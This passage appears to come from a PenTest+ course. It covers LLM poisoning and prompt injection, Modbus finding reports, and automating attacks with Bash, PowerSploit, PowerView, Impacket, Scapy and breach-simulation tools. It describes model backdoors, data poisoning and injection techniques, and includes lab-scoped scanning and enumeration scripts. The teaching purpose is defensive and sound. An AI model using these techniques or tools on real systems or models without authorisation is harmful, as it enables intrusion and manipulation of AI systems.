Three facts make it hard. A backdoored model can look normal until a trigger appears.[12] The dose can be small: OWASP cites research in which as few as 250 poisoned documents compromised models from 600 million to 13 billion parameters.[12] And the danger is not only in the weights: pickle files, chat templates, tokenizer configurations and adapters can run code or change behavior when loaded, and PoisonGPT published a tampered model under a trusted-looking name.[12]
Repair can mean revalidating data, retraining or replacing the model, so the controls are about provenance: lineage records, signed artifacts, versioned data, approved retraining and testing for triggers.[12]
Your evidence is a hash that does not match, an unsigned artifact or drift from a clean baseline. The objective names no AI tools.[8]
| Technique | Weakness it relies on | Tools | What defenders see | Fix |
|---|---|---|---|---|
| Direct prompt injection | User text and instructions share one stream | Test prompts agreed in the ROE | Odd outputs; refused tool calls | Output validation; least privilege |
| Indirect prompt injection | Retrieved content is read as if trusted | Harmless test documents placed by agreement | Tool calls that follow outside content | Rule of Two; human approval; policy checks in code |
| Model manipulation | Unverified data, weights or supporting files | Hash and signature checks; baseline comparison | Drift from baseline; unsigned artifacts | Lineage, signing, validated retraining |
OWASP published this edition on 3 August 2026, after PT0-003 launched. Prompt Injection stayed LLM01, but poisoning moved from LLM04:2025 to LLM05:2026, so learn names rather than numbers.[12]

Kjerish - CC0 - Wikimedia Commons
Wireshark, tcpdump and Scapy: the tools that read all of this
- tcpdump captures to a file, as on a small sensor on a SPAN port. Choose it when the box has no screen or you want only the file.
- Wireshark dissects captures into decoded views, and its filter reference includes modbus.func_code, mbtcp.trans_id, mbtcp.unit_id and can.id.[8] Choose it to look and to write filters.
- Scapy is a Python program that can send, sniff, dissect and forge packets, with modules for Modbus, CAN, Bluetooth and MQTT.[8] Choose it to script across many saved captures (Lesson 23).
Scapy's sending side is why it appears here. On specialized systems that belongs on an isolated bench with written permission, never on a live plant or vehicle.
How specialized-system findings are reported
Here is the entry for the worked example, written for the fictional cooperative.
- Title: PLC accepts unauthenticated Modbus writes; an unlisted host changed a tank setpoint.
- Severity: Critical at this site. No credentials are needed, the setpoint governs tank level, and the plant documents no independent high-level trip. It would be High where a safety instrumented system trips on its own, because that caps the physical consequence.
- Evidence: capture control-span-0914.pcap, frames 103-110, from a SPAN port on the stated date. The tester sent no Modbus traffic. 192.0.2.77 is absent from the asset list, and the client's engineer confirmed what register 40 means.
- Root cause: Modbus TCP has no authentication or freshness, any host on the segment can reach port 502, and the PLC logic does not limit the setpoint's range.
- Remediation: today, investigate 192.0.2.77 and allow port 502 only from the HMI and engineering workstation. Next, limit the range in logic, leave the key switch in run and alert on writes from unlisted hosts. At the next upgrade, move to Modbus/TCP Security with roles. Confirm with a fresh passive capture.
The other families share that shape. Phones: app and system versions, whether the phone was rooted, a file path and a redacted excerpt; do not report root as the flaw. Radios: place, distance, device models and the ROE line that allowed it. Models: version, configuration, tool logs and a success rate over repeated trials, because output varies between runs.
Common misconceptions
- "Modbus just needs patching." The classic protocol has no authentication to patch. The fixes are segmentation, inspection and Modbus/TCP Security.
- "Short range means safe." A relay stretches the distance while the card's replies stay genuine.
- "Rooting the test phone cancels the finding." Root is the tester's viewpoint. The finding is what the app exposes to it.
- "Prompt injection is SQL injection, so sanitize the input." A model has no separate channel for instructions, so limit what a fooled model can do.
What to carry forward
- Ask what each system accepts without proof: phones, their own walls; radios, closeness; industrial and vehicle networks, anyone on the wire; language models, whatever is in the context.
- Modbus TCP uses port 502, function codes 5, 6, 15 and 16 write, and the Transaction Identifier only pairs a reply with its request. Modbus/TCP Security uses port 802 with mutual TLS, certificates and roles.
- Register manipulation writes a new value, a plaintext attack exploits readable traffic, and a replay re-sends a valid message unchanged.
- DNP3 Secure Authentication v5 authenticates without encrypting ordinary data, BACnet/SC adds TLS over WebSockets, and MQTT is plaintext on 1883 and TLS on 8883.
- A CAN frame has a message identifier and priority but no sender, so injection shows as broken timing and conflicting values.
- Bluejacking pushes, bluesnarfing pulls, and Bluetooth spamming floods; an NFC relay needs the real card answering, while an RFID clone works alone.
- Prompt injection works because instructions and data share one token stream, with no parameterized equivalent. Model manipulation changes the model or its files, and needs lineage, signing and retraining.
- MobSF scans packages, Frida instruments a running app, Drozer acts as another app, ADB is the channel to Android, tcprelay carries a port over USB to an iPhone, and Bluestrike is a thinly documented Bluetooth scan-and-kick project.
Sources
- Graham, M., Ahlers, C., and O'Meara, K. (2024). Impact of FrostyGoop ICS malware on connected OT systems; and Protect against FrostyGoop ICS malware. Dragos. brief; blog
- MITRE. (n.d.). ATT&CK for ICS, version 20: S1165, C0041, T0836, T1692.001, T1692.002. S1165; T1692.001
- Modbus Organization. (2012). Application protocol specification V1.1b3; (2006). Messaging on TCP/IP implementation guide V1.0b; (2021). Modbus/TCP Security (v36). specification; security
- National Institute of Standards and Technology. Stouffer, K., et al. (2023). SP 800-82r3, Guide to OT security; Padgette, J., et al. (2017). SP 800-121r2, Guide to Bluetooth security; Karygiannis, T., et al. (2007). SP 800-98, Securing RFID systems; Vassilev, A., et al. (2025). AI 100-2e2025, Adversarial machine learning. SP 800-82; AI 100-2
- Android Developers and AOSP. (n.d.). Android Debug Bridge; provider element; Play Integrity overview; NFC overview; Application sandbox. Apple. (n.d.). Unauthorized modification of iOS; Establishing your app's integrity. adb; provider; Apple
- OWASP Foundation. (2024). Mobile Top 10 2024; OWASP MAS. (n.d.). Mobile Application Security Testing Guide: Android testing; MASTG-TOOL-0069 (usbmuxd); MASTG-TOOL-0055 (iproxy). Top 10; usbmuxd
- MobSF. (n.d.). Mobile Security Framework [README]; Frida. (n.d.). Welcome, Modes of operation, Android; Reversec Labs. (n.d.). drozer [README and guide]. MobSF; Frida; drozer
- CompTIA. (2024). PT0-003 exam objectives v5.0, objective 4.9; Martin, H. (2009). tcprelay.py, usbmuxd v1.0.8; StealthIQ. (2024). Bluestrike [README and source]; AppNeta. (n.d.). Tcpreplay; Scapy project. (n.d.). Introduction and source tree; Wireshark Foundation. (n.d.). Display filter reference. objectives; tcprelay.py; Bluestrike; Scapy
- Stefanko, L. (2024). NGate Android malware relays NFC traffic to steal cash. ESET Research; Franceschi-Bicchierai, L. (2023). Hacking device Flipper Zero can spam nearby iPhones with Bluetooth pop-ups. TechCrunch. ESET; TechCrunch
- Cremers, C., Dehnel-Wild, M., and Milner, K. (2017). Secure authentication in the grid: A formal analysis of DNP3: SAv5; BACnet International. (n.d.). BACnet/SC; OASIS. (2019). MQTT version 5.0; Eclipse Mosquitto. (n.d.). mosquitto.conf manual. DNP3; BACnet/SC; MQTT
- Miller, C., and Valasek, C. (2015). Remote exploitation of an unaltered passenger vehicle; Texas Instruments. (2016). Introduction to the Controller Area Network (SLOA101B); Tindell, K. (2023). CAN injection: Keyless car theft; AUTOSAR. (2023). Specification of secure onboard communication (R23-11). Miller and Valasek; TI; Tindell
- OWASP GenAI Security Project. (2026). OWASP Top 10 for LLM Applications 2026; and (2025). LLM Top 10 for 2025. 2026 edition; 2025 list
- National Cyber Security Centre. (2025). Prompt injection is not SQL injection (it may be worse); Reddy, P., and Gujral, A. S. (2025). EchoLeak. arXiv:2509.10540. NCSC; arXiv
- Key terms
- Modbus
- A request and response industrial protocol with no built-in authentication; Modbus TCP uses port 502, and Modbus/TCP Security wraps it in mutual TLS on port 802.
- Programmable logic controller (PLC)
- An industrial computer that reads sensors and drives outputs in a repeating loop, often exposing its values as coils and registers.
- Register manipulation
- Writing to a controller's holding register or coil so that the physical process behaves differently, as in an unauthorized setpoint change.
- Replay attack
- Recording a valid message and sending it again later, unchanged, which works when nothing in the message proves it is fresh.
- CAN bus
- A Controller Area Network: a broadcast network in vehicles and machines whose frames carry a message identifier and priority but no sender address.
- Bluejacking
- Sending unsolicited messages or contacts to a nearby Bluetooth device; no data is taken, though the user may be enticed to respond.
- Near-field communication (NFC)
- Short-range radio that typically needs 4 cm or less to connect; relay attacks defeat that distance by carrying the exchange elsewhere.
- Prompt injection
- Input that changes a language model's behavior in ways its developer did not intend, arriving directly from a user or indirectly in content the model reads.
- Model manipulation
- Changing what a model does by tampering with its training data, weights or supporting files, so that the effect lasts beyond any one conversation.
- Android Debug Bridge (ADB)
- A command-line tool with a client, a server and a device daemon that gives a tester a shell, logs, file transfer and installs on an Android device.
Scripts That Attack and Tools That Rehearse: Automation and Breach and Attack Simulation
- Explain what PowerSploit, PowerView, PowerUpSQL, Impacket, Scapy and Bash pipelines each automate, and choose the right one for a scenario.
- Read and debug a short script, including scope filters, stream redirection, exit status, result limits and flag tests.
- Keep automation inside the ROE with a scope check that fails closed and a rate limit worked out from workers and pauses.
- Read Caldera, Infection Monkey and Atomic Red Team results by what a test asserts, how it maps to ATT&CK, and whether it ran, was seen and raised an alert.
A curl command that died for naming a repository
On 3 November 2026, on the ordinary Windows 11 machine used to research this lesson, a one-line curl request for a GitHub project's release information failed with Permission denied. The plausible diagnosis was a broken path or a file permission. Wrong: the same curl fetched other repositories seconds later. Microsoft Defender Antivirus held the real answer in its detection history, which Get-MpThreatDetection reads. It had flagged the command line itself as Trojan:PowerShell/Powersploit.G, because the URL contained the name PowerSploit. Within 15 minutes it had also stopped a saved copy of PowerView (HackTool:PowerShell/PowerView) and one example script from Impacket (HackTool:Python/Impacket.Q!MSR).
Two habits follow, and this lesson runs on them. The first explanation of an automated failure is often wrong, so you trace it. And automation is visible, because defenders have known these tools for years. This objective's stems hand you a script, a result and a rule of engagement, then ask what the script automates, whether it stayed inside the rules, and which line is at fault. So each section starts from a conclusion someone could reasonably draw and follows it to the point where it breaks.
Exam objectives: 4.10 (using scripting to automate attacks: PowerShell with PowerSploit, PowerView, PowerUpSQL and AD search; Bash input/output management and data manipulation; Python with Impacket and Scapy; breach and attack simulation (BAS) with Caldera, Infection Monkey and Atomic Red Team).
Before you run anything
Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Automation changes none of that; it only repeats a mistake faster. Everything you run here touches 192.168.56.x or 127.0.0.1, or reads a file on your Kali VM, with its NAT adapter not attached. Your lab has no Windows domain, so the Active Directory queries are for reading: they name a fictional domain, corp.example.com, and show sample output.
Kali's default image includes Scapy, Impacket and a copy of the PowerSploit scripts in /usr/share/powersploit. You never need to run those scripts, and copying them to your Windows host will only set off its antivirus. On a client's network, the same event is a result to record, not an obstacle. Turning protection off needs explicit written permission in the ROE; never do it to make a tool work.
A scope filter that approved hosts nobody authorized
Lesson 9 gave you four questions for any script: what goes in, what repeats, what decides, what comes out. Automation adds two: what does it touch, and how fast? Here is a fictional colleague's sweep.sh. The ROE names one host for today, 192.168.56.10, and an asset export holds four addresses. The output is a sample, worded as Kali's nc prints it.
#!/bin/bash
# sweep.sh: check port 22 on approved hosts and keep a log
grep -f scope.txt targets.txt > approved.txt
for host in $(cat approved.txt); do
nc -zvn -w 1 "$host" 22 > sweep.log
done
echo "approved $(wc -l < approved.txt) hosts"
$ cat scope.txt
192.168.56.10
$ cat targets.txt
192.168.56.10
192.168.56.101
192.168.56.102
203.0.113.5
$ bash sweep.sh
(UNKNOWN) [192.168.56.10] 22 (ssh) : Connection timed out
(UNKNOWN) [192.168.56.101] 22 (ssh) : Connection refused
(UNKNOWN) [192.168.56.102] 22 (ssh) open
approved 3 hosts
$ wc -c sweep.log
0 sweep.log
The colleague's note reads: "Filter works, the stray 203.0.113.5 was dropped. Log is empty, so nothing answered." Both sentences are wrong, and the first is convincing because of its evidence.
grep -f treats each line of scope.txt as a regular expression and prints any target line containing a match anywhere. In a regular expression a dot means any character, and nothing ties the match to the whole line. So the pattern 192.168.56.10 is found inside 192.168.56.101 and 192.168.56.102. Dropping 203.0.113.5 proved nothing; it simply shares no text with the pattern.
Now change one input. Add a blank line to the end of scope.txt, as exports and editors often do. An empty pattern matches every line, so the stray comes back:
$ grep -f scope.txt targets.txt
192.168.56.10
192.168.56.101
192.168.56.102
203.0.113.5
The fix is two letters. -F reads the patterns as fixed strings and -x requires the whole line to match. The blank line stops mattering. comm -23 then prints lines found only in the first sorted file, which is your list of refused targets, worth keeping as evidence.
$ grep -Fxf scope.txt targets.txt
192.168.56.10
$ comm -23 <(sort targets.txt) <(sort scope.txt)
192.168.56.101
192.168.56.102
203.0.113.5
If scope.txt holds a range such as 192.168.56.0/24, this filter approves nothing and exits with status 1. That is the right way to be wrong: the mistake stops the run instead of widening it, which is what "fails closed" means. Text tools cannot do address arithmetic, so when the scope is a range, use Python's ipaddress library, as you did in Lesson 9.
So what?: test a scope check with inputs that ought to be refused, including near-matches and blank lines. One rejected stray proves almost nothing.
Bash input/output management: why the log stayed empty
"Log is empty, so nothing answered" fails for a different reason. Every process starts with three standard streams: standard input (0), standard output (1) and standard error (2). A plain > moves stream 1 only. Netcat's source prints its verbose messages with fprintf(stderr, ...), so they stayed on the screen and the file stayed empty. An empty log said nothing about the hosts. And even with the right stream, > restarts the file on each pass of a loop, as Lesson 9 warned.
| You write | What happens | Use it for |
|---|---|---|
cmd > f | Stream 1 to f, overwriting it | One result set |
cmd >> f | Stream 1 to f, appending | Results inside a loop |
cmd 2> f | Stream 2 to f | Tools that report on standard error |
cmd >> f 2>&1 | Both streams into f | A complete log |
cmd 2>&1 >> f | Stream 2 stays on the screen; only stream 1 reaches f | Almost always a bug |
cmd 2>&1 | tee -a f | Both streams to the screen and to f | Watching a run while keeping evidence |
while read -r h; do ...; done < f | The loop's standard input comes from f | Reading targets line by line |
cmd 2> /dev/null | Stream 2 is thrown away | Only when you know what you are discarding |
Order matters because Bash reads redirections left to right. 2>&1 means "point stream 2 wherever stream 1 points right now". In the buggy row, stream 1 still points at the screen when stream 2 copies it, and only afterward does stream 1 move to the file.
Piping to tee fixes the log and adds a quieter bug. Try this in your lab, on a port you found closed in Lesson 7. The sample output shows what to expect.
$ if nc -zvn -w 1 192.168.56.102 8888 2>&1 | tee -a sweep.log; then echo "8888 open"; fi
(UNKNOWN) [192.168.56.102] 8888 (?) : Connection refused
8888 open
$ set -o pipefail
$ if nc -zvn -w 1 192.168.56.102 8888 2>&1 | tee -a sweep.log; then echo "8888 open"; else echo "8888 not open"; fi
(UNKNOWN) [192.168.56.102] 8888 (?) : Connection refused
8888 not open
A closed port reported as open is a false positive made by your own plumbing. Bash's manual gives the reason: a pipeline's exit status is that of its last command unless pipefail is on. tee succeeded, so if saw success.
Bash data manipulation: from log lines to a CSV, at a rate the ROE allows
With a complete log you can answer new questions without another packet. Here is a fictional log and two pipelines.
$ cat sweep.log
(UNKNOWN) [192.168.56.102] 22 (ssh) open
(UNKNOWN) [192.168.56.101] 22 (ssh) open
(UNKNOWN) [192.168.56.103] 22 (ssh) : Connection refused
$ grep ' open$' sweep.log | tr -d '[]' | awk '{print $2 "," $3}' | sort -t, -k1,1V
192.168.56.101,22
192.168.56.102,22
$ awk '{print $NF}' sweep.log | sort | uniq -c
2 open
1 refused
The $ ties the match to the end of the line, so only real opens pass. tr -d deletes the brackets, awk prints fields 2 and 3 with a comma, and sort -V orders addresses by number, where a plain sort would put .102 before .5. The second pipeline counts outcomes by the last word on each line.
Here is the repaired script, with every lesson so far built in. Given a scope file holding only 192.168.56.102, and the same targets, expect the output below it.
#!/bin/bash
# sweep.sh SCOPE TARGETS PORT: check PORT on hosts in both files, at most 2 a second.
set -o pipefail
scope=$1; targets=$2; port=$3
log="sweep-$(date +%Y%m%d-%H%M).log"
grep -Fxf "$scope" "$targets" > approved.txt
comm -23 <(sort "$targets") <(sort "$scope") | sed 's/^/REFUSED /' | tee -a "$log"
while read -r host; do
if nc -zvn -w 1 "$host" "$port" 2>&1 < /dev/null | tee -a "$log" > /dev/null; then
echo "$host,$port,open"
fi
sleep 0.5
done < approved.txt
$ bash sweep.sh scope.txt targets.txt 22
REFUSED 192.168.56.10
REFUSED 192.168.56.101
REFUSED 203.0.113.5
192.168.56.102,22,open
That sleep is the rate limit, and the sum behind it is short: rate = workers / pause. One loop pausing 0.5 seconds makes at most two connections a second. The same pause in ten parallel workers makes twenty. That is the trap in any tool with a thread option. If the ROE caps you at five a second, ten threads need a pause of two seconds each.
PowerSploit, PowerView and PowerUpSQL: three names people blur
"PowerUp, PowerView and PowerUpSQL are all the same toolkit." They are not, and exam stems separate them by the job. PowerUpSQL comes from a different publisher altogether.
| Name | What it automates | Its output | Status on 3 November 2026 |
|---|---|---|---|
| PowerSploit | A kit of PowerShell modules for most phases of a test: CodeExecution, ScriptModification, Persistence, AntivirusBypass, Exfiltration, Mayhem, Privesc and Recon | Varies by script | Archived on GitHub, last pushed August 2020; its README says it is no longer supported. Kali still packages version 3.0.0 |
| PowerView | PowerSploit's Recon script for Windows domains: Get-DomainUser, Get-DomainGroupMember, Get-DomainComputer, Get-DomainTrust, Find-DomainShare, Find-LocalAdminAccess | Objects with directory attribute names, such as samaccountname and pwdlastset | Frozen with its parent. Older guides use earlier names such as Invoke-ShareFinder |
| PowerUp | PowerSploit's Privesc script: local privilege escalation checks on one host (Lesson 15) | A list of weak settings | Frozen with its parent |
| PowerUpSQL | SQL Server at scale, from NetSPI: Get-SQLInstanceDomain finds instances by asking a domain controller for their service principal names, Get-SQLConnectionTestThreaded sees which accept your login, Invoke-SQLAudit checks for weak configuration | Rows naming each instance, as below | Not archived; last pushed December 2024 |
Choose PowerView for the directory, PowerUp for one machine and PowerUpSQL for database servers. PowerView is written in pure PowerShell over LDAP and Win32 calls, so it needs no administration tools installed. PowerUpSQL's README adds that administrators can use it to inventory their own SQL Servers. Its cheat sheet's examples use -Threads values of 10 and 15, so do the rate sum first. Expect a row like this one (sample, fictional):
ComputerName : sql01.corp.example.com
Instance : sql01.corp.example.com,1433
DomainAccount : svc-sql
Service : MSSQLSvc
Spn : MSSQLSvc/sql01.corp.example.com:1433
LastLogon : 11/2/2026 6:14:02 AM
These kits mix discovery with abuse: PowerView also has functions that change directory objects, and PowerUpSQL escalates. This course teaches them at the level of what they find; the ROE decides how far a client wants them taken. For the same questions today you will also meet BloodHound's collectors (Lesson 10) and NetExec, which continued CrackMapExec.
All of them run inside PowerShell, so one set of defenses applies. The Antimalware Scan Interface (AMSI) lets Defender inspect a script after it has been decoded for the engine, which is one reason these scripts get caught. Script block logging records the content of scripts as event 4104 in the PowerShell Operational log. Under an AppLocker or Windows Defender Application Control policy, PowerShell drops to ConstrainedLanguage mode, which limits what such scripts can do.
AD search: read-only queries, blank columns and the number 1,000
Active Directory (AD) keeps users, computers and groups in a directory that answers LDAP queries, and a domain account can read much of it by default. That is the weakness behind this whole family. "AD search" means asking those questions from PowerShell. There are two routes, and the first needs Microsoft's ActiveDirectory module from the Remote Server Administration Tools (RSAT), which talks to Active Directory Web Services on TCP 9389. This is the read-only query an auditor would also run; it changes nothing. The domain and accounts are fictional, and the output is a sample.
# Which enabled accounts have passwords that never expire?
Get-ADUser -Server dc01.corp.example.com -Filter 'Enabled -eq $true -and PasswordNeverExpires -eq $true' -Properties PasswordLastSet, LastLogonDate |
Select-Object SamAccountName, PasswordLastSet, LastLogonDate
SamAccountName PasswordLastSet LastLogonDate
-------------- --------------- -------------
svc-backup 3/14/2019 9:02:11 AM 11/2/2026 11:58:40 PM
svc-print 6/1/2021 2:15:37 PM 10/30/2026 7:03:12 AM
m.okafor 1/9/2024 10:44:05 AM 11/3/2026 8:12:51 AM
Read it as a tester: a service account whose password dates from 2019 and which still logs on nightly is a rotation finding, and a person's account on this list is an exception someone should explain. Drop -Properties and those two date columns come back blank. The wrong conclusion is "these passwords were never set". The right one is that Get-ADUser returns a default set of properties, and you must ask for the rest. Search-ADAccount -PasswordNeverExpires asks a similar question in fewer words.
The second route needs nothing installed. [adsisearcher] is PowerShell's short name for .NET's DirectorySearcher class, which speaks LDAP directly. Here is a sample run for a fictional company whose HR system lists 4,312 staff:
$s = [adsisearcher]'(&(objectCategory=person)(objectClass=user))'
$s.SearchRoot = [adsi]'LDAP://dc01.corp.example.com/DC=corp,DC=example,DC=com'
$s.FindAll().Count
1000
No error, and a wrong answer. "HR's number is out of date" is the tempting note. Microsoft's documentation gives the real cause: SizeLimit defaults to the server's limit of 1000 entries, PageSize defaults to 0, which means no paged search, and the server simply returns what it has collected at that point. Add $s.PageSize = 500 and the client fetches page after page, returning 4,312. Treat a suspiciously round number as a limit until you prove otherwise. PowerView pages by default, at 200 objects a page, and Get-ADUser at 256, which is part of why people reach for them.
Keep the scope in mind here too. -Server pins your query to one domain controller, and a trusted domain that Get-DomainTrust reveals is a different system, which the ROE may not cover.
Read-only does not mean invisible either. MITRE ATT&CK files these searches under Domain Account discovery (T1087.002), Domain Groups (T1069.002) and Domain Trust Discovery (T1482), and records APT29 running Get-ADUser and Get-ADGroupMember during the SolarWinds compromise. Its detection advice looks for enumeration from endpoints that are not domain controllers or administrators' machines.
Domain controllers can also log expensive or slow LDAP searches as event 1644, once the Field Engineering diagnostic setting is raised from its default of 0.
Impacket: Python that speaks SMB, with a scope check and a rate limit built in
Impacket is a collection of Python classes for network protocols, maintained by Fortra's Core Security; 0.13.1 is the latest release, from May 2026. It implements SMB1 to SMB3 and MSRPC with NTLM and Kerberos authentication, plus parts of LDAP and TDS, the SQL Server protocol. Testers use it when a job needs a script to hold a real Windows conversation. It also ships example scripts, which is what most people mean by "Impacket":
| Family | Examples | Where this course treats it |
|---|---|---|
| Enumeration | lookupsid, samrdump, rpcdump, GetADUsers | Lesson 8 |
| Remote execution | psexec, wmiexec, smbexec, atexec, dcomexec | Lesson 24 |
| Credentials and tickets | secretsdump, GetUserSPNs, GetNPUsers | Lesson 16 |
| Relay | ntlmrelayx | A lesson still being written |
Those are named so you recognize them, and no invocation appears here. What you can read safely is the library used for a job you already did by hand in Lesson 8: listing shares, the same read-only step as smbclient -L. The new part is the guard around it.
#!/usr/bin/env python3
"""shares.py HOSTFILE [--go]: list SMB shares on in-scope hosts, slowly. Read-only.
Without --go it only prints what it would contact."""
import ipaddress
import sys
import time
from impacket.smbconnection import SMBConnection
SCOPE = [ipaddress.ip_network("192.168.56.0/24")]
EXCLUDE = {ipaddress.ip_address("192.168.56.1")}
DELAY = 2.0 # the ROE allows 30 hosts a minute
def in_scope(text):
try:
ip = ipaddress.ip_address(text.strip())
except ValueError:
return False # a name or a typo fails closed
return ip not in EXCLUDE and any(ip in net for net in SCOPE)
def list_shares(host):
conn = SMBConnection(host, host, timeout=5)
conn.login("", "") # anonymous, like smbclient -N
names = [s["shi1_netname"][:-1] for s in conn.listShares()]
conn.logoff()
return names
go = "--go" in sys.argv
for line in open(sys.argv[1]):
host = line.strip()
if not in_scope(host):
print(f"REFUSED {host}", file=sys.stderr)
elif not go:
print(f"WOULD CONTACT {host}")
else:
try:
for name in list_shares(host):
print(f"{host},{name}")
except Exception as err:
print(f"ERROR {host}: {err}", file=sys.stderr)
time.sleep(DELAY)
Expect something like this on your lab, with the share names you saw in Lesson 8:
$ python3 shares.py hosts.txt
WOULD CONTACT 192.168.56.102
REFUSED 192.168.56.1
REFUSED 203.0.113.5
REFUSED fileserver
$ python3 shares.py hosts.txt --go 2> refused.log
192.168.56.102,print$
192.168.56.102,tmp
192.168.56.102,opt
192.168.56.102,IPC$
192.168.56.102,ADMIN$
Read the guard as the ROE in code. SCOPE is the authorized range. EXCLUDE is the ROE's exclusion list; your VirtualBox host sits inside the range and is not a target. Anything that is not a valid address fails closed, so a hostname cannot resolve to somewhere unexpected. A dry run is the default, so a person reads the list before the first packet. DELAY is the rate limit, and refusals go to standard error so standard output stays clean CSV. A guard only protects what passes through it: if a script finds new hosts as it runs, they must go through in_scope too.
From the other side, the script is an anonymous logon and a connection to IPC$, which on Windows appears as event 5140, as in Lesson 8. Run the example scripts from a Windows host and Defender may catch them first, as the opening showed. Fixes are the ones you already know: restrict anonymous access, require SMB signing, and let only management networks reach SMB.
Scapy: reading a saved capture, and the port that was never open
Scapy works one layer down. Its documentation says it can "send, sniff, dissect and forge" packets. Choose it when you care about individual packets and fields, or a protocol with no ready library. Impacket's job is the conversation; Scapy's is the packet. Packet crafting appears in Lessons 20 and 22. Before you run anyone's Scapy script, search it for send, sendp, sr, sr1 and srp, the functions that transmit. The scripts below contain none of them. They read the capture you made in Lesson 7, of nmap -sS -p 21,23,8888 against your target.
#!/usr/bin/env python3
"""synbit.py CAPTURE: list open ports."""
import sys
from scapy.all import PcapReader, TCP
ports = set()
for pkt in PcapReader(sys.argv[1]):
if TCP in pkt and pkt[TCP].flags & 0x02: # is the SYN bit set?
ports.add(pkt[TCP].dport)
print("open:", sorted(ports))
$ python3 synbit.py /tmp/scan.pcap
open: [21, 23, 8888, 51123]
The wrong conclusion writes itself: port 8888 is open, and so is some mystery high port. Trace it against Lesson 7's tcpdump lines. The SYN bit is set in the tester's probes and also in a SYN/ACK reply. In a probe, dport is the port being asked about, so all three scanned ports land in the set whatever the answer was. In a reply, dport is the tester's own source port, which is where 51123 came from. The script never asked who sent the packet. Lesson 7 said it plainly: read the direction before you read the flag.
#!/usr/bin/env python3
"""portstate.py CAPTURE TARGET: what did TARGET answer to each SYN? Reads a file; sends nothing."""
import sys
from scapy.all import PcapReader, IP, TCP
capture, target = sys.argv[1], sys.argv[2]
asked, opened, closed = set(), set(), set()
for pkt in PcapReader(capture):
if IP not in pkt or TCP not in pkt:
continue
ip, tcp = pkt[IP], pkt[TCP]
if ip.dst == target and tcp.flags == "S":
asked.add(tcp.dport)
elif ip.src == target and tcp.flags == "SA":
opened.add(tcp.sport)
elif ip.src == target and tcp.flags.R:
closed.add(tcp.sport)
for port in sorted(asked):
state = "open" if port in opened else "closed" if port in closed else "no answer"
print(f"{target},{port},{state}")
$ python3 portstate.py /tmp/scan.pcap 192.168.56.102
192.168.56.102,21,open
192.168.56.102,23,open
192.168.56.102,8888,closed
Two details earn their place. tcp.flags == "S" compares the whole set of flags, so a SYN/ACK no longer passes as a probe. tcp.flags.R tests one bit, because a closed port's reset also carries ACK, the [R.] in Lesson 7's output. PcapReader reads one packet at a time, where rdpcap loads the whole file. Now change the input to a capture from Lesson 7's firewall run, with port 21 dropped:
$ python3 portstate.py /tmp/scan-fw.pcap 192.168.56.102
192.168.56.102,21,no answer
192.168.56.102,22,open
Same script, flipped result. It says "no answer" rather than "closed" on purpose, because silence is what Nmap reports as filtered, and something may be listening behind that filter. Offline parsing leaves no trace on the target at all, which is why you ask the file before you ask the network.
So what?: a script that sorts packets is only as right as its test. Check which side sent the packet, and whether you are testing one bit or the whole flag set.
Caldera, Infection Monkey and Atomic Red Team: what a rehearsal asserts
Breach and attack simulation (BAS) tools run known attacker behavior on purpose, under control, so defenders can check whether their controls respond. A penetration test hunts for the path nobody knew about. A rehearsal asks a narrower question, and asks it again next month: when this known behavior happens here, do we notice? The wrong belief is that a rehearsal hands you that answer. Read what each one actually claims.
| Atomic Red Team | Caldera | Infection Monkey | |
|---|---|---|---|
| Origin and status | Red Canary and contributors; active, 1,941 tests by its README's count | MITRE; the repository now sits under the Apache Software Foundation, incubating. Latest release 5.3.0, April 2025; commits continue | Guardicore, now Akamai. Last stable release 2.3.0, September 2023. Not archived, but commits have nearly stopped, and its unreleased changelog removes many exploiter plugins |
| Unit of work | One small test of one technique, in YAML | An ability; abilities form an adversary profile; an operation runs a profile on agents, in an order set by a planner | A worm-like agent that scans, spreads and reports |
| Needs | Nothing: copy the commands, or use the Invoke-AtomicRedTeam module | A server (port 8888 in its Docker example) and agents that check in | The Monkey Island server (port 5000) and agents |
| What a run claims | These commands implement this technique; they ran on this host | This chain ran on these agents, with facts from one step feeding the next | From this machine, an attacker could reach those machines with those credentials |
| ATT&CK mapping | Built in: one folder per technique | Each ability names its tactic and technique | Its ATT&CK report was removed in version 2.0.0, so do not expect that mapping now |
| Results | A CSV log: technique, test, host, user, exit code | A JSON report with status, exit code and output; the Debrief plugin makes a PDF | An infection map, and a Security report covering segmentation and per-machine fixes |
| Choose it for | One detection, one technique, this afternoon | A repeatable multi-step scenario against many hosts | Segmentation and credential reuse across a network |
A test file shows how little is claimed. This one is written in Atomic Red Team's format, modeled on the real entries in its T1082 folder (System Information Discovery).
attack_technique: T1082
display_name: System Information Discovery
atomic_tests:
- name: List OS information
supported_platforms:
- linux
input_arguments:
output_file:
description: Where to store the results
type: path
default: /tmp/T1082.txt
executor:
name: sh
command: |
uname -a >> "#{output_file}"
cat /etc/os-release >> "#{output_file}"
cleanup_command: |
rm "#{output_file}"
The technique ID is the mapping to ATT&CK, and supported_platforms and executor say where and how it runs. cleanup_command says how to undo it. The only thing the file asserts is that these commands are one implementation of T1082. It says nothing about what your defenses should do. You write that yourself, before the run, as a sentence that can fail. Here is one: "When this runs on WS-14, a process-creation event reaches the security information and event management (SIEM) system within five minutes, and rule R-12 alerts."
Caldera's report has the same limit. This is the shape of one step, with its real field names:
"status": 0,
"executor": "sh",
"attack": {"tactic": "discovery", "technique_name": "System Information Discovery", "technique_id": "T1082"},
"output": {"stdout": "[removed]", "stderr": "", "exit_code": "0"}
In Caldera's source, status 0 is success, 1 is error, 124 is timeout, -2 is discarded and -3 means not yet run. Success means the agent ran the command. It does not mean anyone noticed.
These tools need the same permission as any other. Atomic Red Team's guide opens by telling you to ask the environment's owner, and recommends a test machine built like your others, with your security tooling running. Its module's -ShowDetailsBrief, -CheckPrereqs, -GetPrereqs and -Cleanup switches list a test, check and fetch what it needs, and reverse it. Two more cautions come from the projects themselves:
- A spreading agent needs the tightest scope. Infection Monkey's documentation warns that with "Scan Agent's networks" on, a machine connected to a public network will scan that network. Its settings are ROE items: the scan target list is your scope, Blocked IPs is your exclusions, and scan depth limits hops, not devices. "Kill All Monkeys" can take up to two minutes to finish. Its FAQ says it avoids exploits that might crash a system, such as EternalBlue, and that some antivirus products flag it.
- The rehearsal server is a target too. CVE-2025-27364, rated 10.0 on the National Vulnerability Database page, let remote attackers run code on a Caldera server through its agent-compiling feature. The README tells users to run version 5.1.0 or later and not to expose the server to the internet.
Worked example: sorting a rehearsal's results as a performance-based question would
